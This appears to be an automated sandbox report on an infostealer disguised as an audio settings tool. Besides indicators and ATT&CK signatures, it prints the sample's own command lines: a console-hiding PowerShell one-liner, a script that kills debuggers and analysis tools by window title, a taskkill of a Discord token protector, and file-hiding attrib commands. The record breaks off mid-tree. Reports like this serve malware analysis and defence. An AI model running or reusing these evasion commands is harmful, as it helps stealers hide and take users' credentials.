5df6ec05119f2dd55045a9f41e5829a5e34e9359d7952c13ea4dcecb12d2b2f4

Analysis

max time kernel
45s
max time network
66s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
23/08/2026, 02:42

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Creative EAX Setting 2.exe
Size 100.5MB
Sample260823-c69fcssblf
SHA256 5df6ec05119f2dd55045a9f41e5829a5e34e9359d7952c13ea4dcecb12d2b2f4
MD5 ebd263fb4bebcf7c2c4bbf57e5c075a3
SHA1 429e4a2b5654215ff104dcbf6f98b9379d7d1601
SHA512 5127979979c86e934d92dd000c92147356ec92249378edc937c6b7f888d472e2f0ef6aecbb25b807be8aa28e772fec162294a8fe99fe19dd19b3000fc02cabdc
SSDEEP 3145728:0zc0VnR8/iqarErqhtSw8+JHJLozunvpstOA:enW/ikqfSMHJkSpq
TLSH
T1FE3833958050188AF5FBC2F1AC33FA3990D35DFA6C64C40D9CEAF1A795B22934467A1F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

collection credential_access defense_evasion discovery execution spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 29 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2904	powershell.exe
3068	powershell.exe
548	powershell.exe
1888	powershell.exe
3364	powershell.exe
5368	powershell.exe
5556	powershell.exe
2868	powershell.exe
2892	powershell.exe
1184	powershell.exe
440	powershell.exe
372	powershell.exe
812	powershell.exe
1416	powershell.exe
5084	powershell.exe
2776	powershell.exe
3992	powershell.exe
4796	powershell.exe
4684	powershell.exe
5004	powershell.exe
4348	powershell.exe
2208	powershell.exe
2940	powershell.exe
4020	powershell.exe
4456	powershell.exe
2744	powershell.exe
4684	powershell.exe
4876	powershell.exe
2940	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	Creative EAX Setting.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
2608	cmd.exe
5108	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
3852	Creative EAX Setting.exe
3040	Creative EAX Setting.exe
3652	Creative EAX Setting.exe

Loads dropped DLL 13 IoCs

pid	Process
4748	Creative EAX Setting 2.exe
4748	Creative EAX Setting 2.exe
4748	Creative EAX Setting 2.exe
4748	Creative EAX Setting 2.exe
4748	Creative EAX Setting 2.exe
4748	Creative EAX Setting 2.exe
4748	Creative EAX Setting 2.exe
3040	Creative EAX Setting.exe
3040	Creative EAX Setting.exe
3040	Creative EAX Setting.exe
3040	Creative EAX Setting.exe
3040	Creative EAX Setting.exe
3040	Creative EAX Setting.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
29	discord.com
42	discord.com
43	discord.com

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
24	ip-api.com

Network Service Discovery 1 TTPs 1 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
3040	Creative EAX Setting.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 2 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3816	tasklist.exe
740	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3796	cmd.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
4980	powershell.exe
4952	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5516	cmd.exe
920	cmd.exe
1872	cmd.exe
4312	cmd.exe
2388	cmd.exe
2744	cmd.exe
4060	cmd.exe
3800	cmd.exe
4172	cmd.exe
1576	cmd.exe
2200	cmd.exe
1876	cmd.exe
2840	cmd.exe
4052	cmd.exe
5036	cmd.exe
2456	cmd.exe
3404	cmd.exe
2768	cmd.exe
3172	cmd.exe
2944	cmd.exe
4204	cmd.exe
4200	cmd.exe
2264	cmd.exe
1832	cmd.exe
5144	cmd.exe
5112	cmd.exe
4684	cmd.exe
3352	cmd.exe
1552	cmd.exe
2204	cmd.exe
848	cmd.exe
2248	cmd.exe
1172	cmd.exe
4480	cmd.exe
3280	cmd.exe
2164	cmd.exe
956	cmd.exe
1748	cmd.exe
1632	cmd.exe
776	cmd.exe
1028	cmd.exe
412	cmd.exe
1488	cmd.exe
5328	cmd.exe
1812	cmd.exe
1340	cmd.exe
2520	cmd.exe
2108	cmd.exe
3748	cmd.exe
2412	cmd.exe
220	cmd.exe
2140	cmd.exe
408	cmd.exe
3244	cmd.exe
3720	cmd.exe
548	cmd.exe
3832	cmd.exe
3028	cmd.exe
4324	cmd.exe
4584	cmd.exe
5116	cmd.exe
4184	cmd.exe
4132	cmd.exe
2532	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Creative EAX Setting 2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 4 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
220	cmd.exe
3816	netsh.exe
5144	cmd.exe
5192	netsh.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2932	chrome.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Creative EAX Setting.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Creative EAX Setting.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
2400	timeout.exe

Kills process with taskkill 16 IoCs

defense_evasion

pid	Process
652	taskkill.exe
4996	taskkill.exe
3028	taskkill.exe
1068	taskkill.exe
872	taskkill.exe
3032	taskkill.exe
3836	taskkill.exe
1140	taskkill.exe
2548	taskkill.exe
3760	taskkill.exe
2836	taskkill.exe
4280	taskkill.exe
780	taskkill.exe
448	taskkill.exe
3336	taskkill.exe
652	taskkill.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 53 IoCs

pid	Process
4952	powershell.exe
4952	powershell.exe
2868	powershell.exe
2868	powershell.exe
4748	Creative EAX Setting 2.exe
4748	Creative EAX Setting 2.exe
4796	powershell.exe
4796	powershell.exe
2892	powershell.exe
2892	powershell.exe
440	powershell.exe
440	powershell.exe
2904	powershell.exe
2904	powershell.exe
4456	powershell.exe
4456	powershell.exe
2744	powershell.exe
2744	powershell.exe
4980	powershell.exe
4980	powershell.exe
372	powershell.exe
372	powershell.exe
4980	powershell.exe
3068	powershell.exe
3068	powershell.exe
3068	powershell.exe
372	powershell.exe
5084	powershell.exe
5084	powershell.exe
5084	powershell.exe
4492	powershell.exe
4492	powershell.exe
4492	powershell.exe
4348	powershell.exe
4348	powershell.exe
4348	powershell.exe
816	powershell.exe
816	powershell.exe
4684	powershell.exe
4684	powershell.exe
4684	powershell.exe
5004	powershell.exe
5004	powershell.exe
5004	powershell.exe
4348	powershell.exe
4348	powershell.exe
4348	powershell.exe
812	powershell.exe
812	powershell.exe
812	powershell.exe
4684	powershell.exe
4684	powershell.exe
4684	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4952	powershell.exe
Token: SeDebugPrivilege	2868	powershell.exe
Token: SeDebugPrivilege	4796	powershell.exe
Token: SeIncreaseQuotaPrivilege	4796	powershell.exe
Token: SeSecurityPrivilege	4796	powershell.exe
Token: SeTakeOwnershipPrivilege	4796	powershell.exe
Token: SeLoadDriverPrivilege	4796	powershell.exe
Token: SeSystemProfilePrivilege	4796	powershell.exe
Token: SeSystemtimePrivilege	4796	powershell.exe
Token: SeProfSingleProcessPrivilege	4796	powershell.exe
Token: SeIncBasePriorityPrivilege	4796	powershell.exe
Token: SeCreatePagefilePrivilege	4796	powershell.exe
Token: SeBackupPrivilege	4796	powershell.exe
Token: SeRestorePrivilege	4796	powershell.exe
Token: SeShutdownPrivilege	4796	powershell.exe
Token: SeDebugPrivilege	4796	powershell.exe
Token: SeSystemEnvironmentPrivilege	4796	powershell.exe
Token: SeRemoteShutdownPrivilege	4796	powershell.exe
Token: SeUndockPrivilege	4796	powershell.exe
Token: SeManageVolumePrivilege	4796	powershell.exe
Token: 33	4796	powershell.exe
Token: 34	4796	powershell.exe
Token: 35	4796	powershell.exe
Token: 36	4796	powershell.exe
Token: SeSecurityPrivilege	4748	Creative EAX Setting 2.exe
Token: SeDebugPrivilege	2892	powershell.exe
Token: SeShutdownPrivilege	3852	Creative EAX Setting.exe
Token: SeCreatePagefilePrivilege	3852	Creative EAX Setting.exe
Token: SeShutdownPrivilege	3852	Creative EAX Setting.exe
Token: SeCreatePagefilePrivilege	3852	Creative EAX Setting.exe
Token: SeDebugPrivilege	440	powershell.exe
Token: SeDebugPrivilege	3816	tasklist.exe
Token: SeShutdownPrivilege	3852	Creative EAX Setting.exe
Token: SeCreatePagefilePrivilege	3852	Creative EAX Setting.exe
Token: SeDebugPrivilege	2904	powershell.exe
Token: SeDebugPrivilege	4456	powershell.exe
Token: SeIncreaseQuotaPrivilege	4456	powershell.exe
Token: SeSecurityPrivilege	4456	powershell.exe
Token: SeTakeOwnershipPrivilege	4456	powershell.exe
Token: SeLoadDriverPrivilege	4456	powershell.exe
Token: SeSystemProfilePrivilege	4456	powershell.exe
Token: SeSystemtimePrivilege	4456	powershell.exe
Token: SeProfSingleProcessPrivilege	4456	powershell.exe
Token: SeIncBasePriorityPrivilege	4456	powershell.exe
Token: SeCreatePagefilePrivilege	4456	powershell.exe
Token: SeBackupPrivilege	4456	powershell.exe
Token: SeRestorePrivilege	4456	powershell.exe
Token: SeShutdownPrivilege	4456	powershell.exe
Token: SeDebugPrivilege	4456	powershell.exe
Token: SeSystemEnvironmentPrivilege	4456	powershell.exe
Token: SeRemoteShutdownPrivilege	4456	powershell.exe
Token: SeUndockPrivilege	4456	powershell.exe
Token: SeManageVolumePrivilege	4456	powershell.exe
Token: 33	4456	powershell.exe
Token: 34	4456	powershell.exe
Token: 35	4456	powershell.exe
Token: 36	4456	powershell.exe
Token: SeShutdownPrivilege	3852	Creative EAX Setting.exe
Token: SeCreatePagefilePrivilege	3852	Creative EAX Setting.exe
Token: SeDebugPrivilege	3028	taskkill.exe
Token: SeDebugPrivilege	2744	powershell.exe
Token: SeIncreaseQuotaPrivilege	2744	powershell.exe
Token: SeSecurityPrivilege	2744	powershell.exe
Token: SeTakeOwnershipPrivilege	2744	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4748 wrote to memory of 4952	4748	Creative EAX Setting 2.exe	87
PID 4748 wrote to memory of 2868	4748	Creative EAX Setting 2.exe	90
PID 4748 wrote to memory of 4796	4748	Creative EAX Setting 2.exe	92
PID 3852 wrote to memory of 3040	3852	Creative EAX Setting.exe	98
PID 3852 wrote to memory of 956	3852	Creative EAX Setting.exe	99
PID 956 wrote to memory of 2892	956	cmd.exe	102
PID 2892 wrote to memory of 4640	2892	powershell.exe	105
PID 4640 wrote to memory of 1068	4640	csc.exe	107
PID 3852 wrote to memory of 920	3852	Creative EAX Setting.exe	109
PID 920 wrote to memory of 3600	920	cmd.exe	111
PID 3600 wrote to memory of 2768	3600	net.exe	112
PID 3852 wrote to memory of 3652	3852	Creative EAX Setting.exe	113
PID 3852 wrote to memory of 3796	3852	Creative EAX Setting.exe	115
PID 3796 wrote to memory of 552	3796	cmd.exe	117
PID 3852 wrote to memory of 4060	3852	Creative EAX Setting.exe	118
PID 4060 wrote to memory of 440	4060	cmd.exe	120
PID 3852 wrote to memory of 1812	3852	Creative EAX Setting.exe	121
PID 1812 wrote to memory of 3816	1812	cmd.exe	123
PID 3852 wrote to memory of 3800	3852	Creative EAX Setting.exe	124
PID 3800 wrote to memory of 2904	3800	cmd.exe	126
PID 3852 wrote to memory of 4108	3852	Creative EAX Setting.exe	127
PID 4108 wrote to memory of 3152	4108	cmd.exe	129
PID 3152 wrote to memory of 776	3152	net.exe	130
PID 3852 wrote to memory of 5028	3852	Creative EAX Setting.exe	131
PID 5028 wrote to memory of 4456	5028	cmd.exe	133
PID 3852 wrote to memory of 1128	3852	Creative EAX Setting.exe	134
PID 1128 wrote to memory of 3028	1128	cmd.exe	189
PID 3852 wrote to memory of 1340	3852	Creative EAX Setting.exe	138
PID 1340 wrote to memory of 3440	1340	cmd.exe	140
PID 3440 wrote to memory of 3828	3440	net.exe	141
PID 3852 wrote to memory of 3352	3852	Creative EAX Setting.exe	142
PID 3352 wrote to memory of 2744	3352	cmd.exe	144
PID 3852 wrote to memory of 1872	3852	Creative EAX Setting.exe	145
PID 3852 wrote to memory of 2084	3852	Creative EAX Setting.exe	147
PID 3852 wrote to memory of 2840	3852	Creative EAX Setting.exe	148
PID 3852 wrote to memory of 2140	3852	Creative EAX Setting.exe	149
PID 1872 wrote to memory of 4980	1872	cmd.exe	153
PID 2140 wrote to memory of 1500	2140	cmd.exe	154
PID 1500 wrote to memory of 1160	1500	net.exe	156
PID 2084 wrote to memory of 3068	2084	cmd.exe	157
PID 2840 wrote to memory of 372	2840	cmd.exe	158
PID 3852 wrote to memory of 1980	3852	Creative EAX Setting.exe	159
PID 1980 wrote to memory of 5084	1980	cmd.exe	161
PID 3852 wrote to memory of 4052	3852	Creative EAX Setting.exe	162
PID 4052 wrote to memory of 4492	4052	cmd.exe	164
PID 3852 wrote to memory of 4172	3852	Creative EAX Setting.exe	166
PID 4172 wrote to memory of 4348	4172	cmd.exe	198
PID 3852 wrote to memory of 1748	3852	Creative EAX Setting.exe	169
PID 1748 wrote to memory of 816	1748	cmd.exe	171
PID 816 wrote to memory of 992	816	powershell.exe	172
PID 992 wrote to memory of 4440	992	csc.exe	225
PID 3852 wrote to memory of 2532	3852	Creative EAX Setting.exe	175
PID 2532 wrote to memory of 4240	2532	cmd.exe	178
PID 4240 wrote to memory of 2264	4240	net.exe	179
PID 3852 wrote to memory of 408	3852	Creative EAX Setting.exe	180
PID 408 wrote to memory of 4684	408	cmd.exe	238
PID 3852 wrote to memory of 3832	3852	Creative EAX Setting.exe	185
PID 3832 wrote to memory of 1396	3832	cmd.exe	187
PID 1396 wrote to memory of 396	1396	net.exe	188
PID 3852 wrote to memory of 3028	3852	Creative EAX Setting.exe	189
PID 3028 wrote to memory of 5004	3028	cmd.exe	191
PID 3852 wrote to memory of 4312	3852	Creative EAX Setting.exe	192
PID 4312 wrote to memory of 2968	4312	cmd.exe	194
PID 2968 wrote to memory of 4824	2968	net.exe	195

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
552	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Creative EAX Setting 2.exe
"C:\Users\Admin\AppData\Local\Temp\Creative EAX Setting 2.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4748
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -C "if (Get-Command Get-CimInstance -ErrorAction SilentlyContinue) { exit 0 } else { exit 1 }"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4952
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -C "if ((Get-ExecutionPolicy -Scope Process) -eq 'Restricted') { exit 1 } else { exit 0 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2868
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -C "if ((Get-CimInstance -ClassName Win32_Process | ? {$_.Path -and $_.Path.StartsWith('C:\Users\Admin\AppData\Local\Programs\Realtek', 'CurrentCultureIgnoreCase')}).Count -gt 0) { exit 0 } else { exit 1 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4796

C:\Users\Admin\AppData\Local\Programs\Realtek\Creative EAX Setting.exe
"C:\Users\Admin\AppData\Local\Programs\Realtek\Creative EAX Setting.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3852
- C:\Users\Admin\AppData\Local\Programs\Realtek\Creative EAX Setting.exe
  "C:\Users\Admin\AppData\Local\Programs\Realtek\Creative EAX Setting.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\Realtek" --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=d3d11-warp-webgl --field-trial-handle=1680,i,8306322638896138458,15331504720086204728,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,RendererCodeIntegrity,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1684,i,16664497879872899847,5426497964907045731,4 --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1676 /prefetch:2
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Network Service Discovery
  PID:3040
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "$h=(Add-Type '[DllImport(\"user32.dll\")]public static extern bool ShowWindow(IntPtr h,int n);[DllImport(\"kernel32.dll\")]public static extern IntPtr GetConsoleWindow();' -Name C -PassThru)::GetConsoleWindow();if($h -ne 0){[void]([C]::ShowWindow($h,0))}""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:956
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "$h=(Add-Type '[DllImport(\"user32.dll\")]public static extern bool ShowWindow(IntPtr h,int n);[DllImport(\"kernel32.dll\")]public static extern IntPtr GetConsoleWindow();' -Name C -PassThru)::GetConsoleWindow();if($h -ne 0){[void]([C]::ShowWindow($h,0))}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2892
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\i0nfhiwk\i0nfhiwk.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4640
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD731.tmp" "c:\Users\Admin\AppData\Local\Temp\i0nfhiwk\CSC4AD2E93585842ACB00AB1D5C9B877.TMP"
        5⤵
        
        PID:1068
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:920
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3600
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:2768
- C:\Users\Admin\AppData\Local\Programs\Realtek\Creative EAX Setting.exe
  "C:\Users\Admin\AppData\Local\Programs\Realtek\Creative EAX Setting.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\Realtek" --field-trial-handle=1680,i,8306322638896138458,15331504720086204728,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,RendererCodeIntegrity,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1684,i,16664497879872899847,5426497964907045731,4 --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=1856 /prefetch:3
  2⤵
  - Executes dropped EXE
  PID:3652
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Local\Programs\Realtek\Creative EAX Setting.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3796
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Admin\AppData\Local\Programs\Realtek\Creative EAX Setting.exe"
    3⤵
    - Views/modifies file attributes
    PID:552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "[System.Diagnostics.Debugger]::IsAttached""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4060
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "[System.Diagnostics.Debugger]::IsAttached"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:440
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1812
- - C:\Windows\system32\tasklist.exe
    tasklist /FO CSV /NH
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command " Add-Type @\" using System; using System.Runtime.InteropServices; using System.Text; using System.Collections.Generic; public class WindowEnum { [DllImport(\"user32.dll\")] static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam); [DllImport(\"user32.dll\", CharSet = CharSet.Auto)] static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount); [DllImport(\"user32.dll\")] static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId); delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam); public static List<int> GetPidsForTitles(string[] blacklist) { var pids = new List<int>(); EnumWindows((hWnd, lParam) => { var sb = new StringBuilder(256); GetWindowText(hWnd, sb, 256); string title = sb.ToString().ToLower(); if (title.Length > 0) { foreach (var b in blacklist) { if (title.Contains(b.ToLower())) { uint pid; GetWindowThreadProcessId(hWnd, out pid); pids.Add((int)pid); break; } } } return true; }, IntPtr.Zero); return pids; } } \"@ $blacklist = @('simpleassemblyexplorer','dojandqwklndoqwd','procmon64','process hacker','sharpod','http debugger','dbgclr','x32dbg','sniffer','petools','simpleassembly','ksdumper','dnspy','x96dbg','de4dot','exeinfope','windbg','mdb','harmony','systemexplorerservice','megadumper','system explorer','mdbg','kdb','charles','stringdecryptor','phantom','debugger','extremedumper','pc-ret','folderchangesview','james','process monitor','protection_id','de4dotmodded','x32_dbg','pizza','fiddler','x64_dbg','httpanalyzer','strongod','wireshark','gdb','graywolf','x64dbg','ksdumper v1.1 - by equifox','wpe pro','ilspy','dbx','ollydbg','x64netdumper','scyllahide','kgdb','systemexplorer','proxifier','debug','httpdebug','httpdebugger','0harmony','mitmproxy','ida -','codecracker','ghidra','titanhide','hxd','reversal','binary ninja','cutter','detect it easy','resource hacker','api monitor','regshot','pestudio','pe-bear','pe bear','hollows hunter','process explorer','autoruns') $pids = [WindowEnum]::GetPidsForTitles($blacklist) foreach ($pid in $pids) { try { Stop-Process -Id $pid -Force -ErrorAction SilentlyContinue } catch {} } ""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3800
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2904
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4108
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3152
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:776
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5028
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4456
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordTokenProtector.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1128
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM DiscordTokenProtector.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3028
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1340
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3440
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3828
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3352
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2744
- C:\Windows\system32\cmd.exe
